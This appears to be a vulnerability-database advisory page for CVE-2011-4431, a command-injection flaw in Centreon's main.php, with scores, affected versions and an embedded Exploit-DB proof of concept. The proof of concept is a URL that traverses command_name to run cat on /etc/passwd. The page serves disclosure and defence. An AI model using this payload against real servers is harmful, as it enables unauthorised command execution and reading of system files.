VIR Vulnerability Intelligence Relay

CVE-2011-4431

medium
Published 2011-11-10 · Modified 2026-04-29
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CVSS v3
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CVSS v4 NEW
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not yet in upstream
VIR risk
7.5

Description

Directory traversal vulnerability in main.php in Merethis Centreon before 2.3.2 allows remote authenticated users to execute arbitrary commands via a .. (dot dot) in the command_name parameter.

Predictions

Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36293 webapps php verified text · 1 KB
Christophe de la Fuente · 2011-11-04

Centreon 2.3.1 - 'command_name' Remote Command Execution

text exploit Source: Exploit-DB 
source: https://www.securityfocus.com/bid/50568/info

Centreon is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Centreon 2.3.1 is affected; other versions may also be vulnerable. 

http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1

Application impact
VendorProductVersionsFixed
merethiscentreon{"endIncluding":"2.3.1"}
merethiscentreon1.4
merethiscentreon1.4.1
merethiscentreon1.4.2
merethiscentreon1.4.2.1
merethiscentreon1.4.2.2
merethiscentreon1.4.2.3
merethiscentreon1.4.2.4
merethiscentreon1.4.2.5
merethiscentreon1.4.2.6
merethiscentreon1.4.2.7
merethiscentreon2.0
merethiscentreon2.0.1
merethiscentreon2.0.2
merethiscentreon2.1.0
merethiscentreon2.1.1
merethiscentreon2.1.2
merethiscentreon2.1.3
merethiscentreon2.1.4
merethiscentreon2.1.5
merethiscentreon2.1.6
merethiscentreon2.1.7
merethiscentreon2.1.8
merethiscentreon2.1.9
merethiscentreon2.1.10
merethiscentreon2.1.11
merethiscentreon2.1.12
merethiscentreon2.1.13
merethiscentreon2.2
merethiscentreon2.2.1
merethiscentreon2.2.2
merethiscentreon2.3.0

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.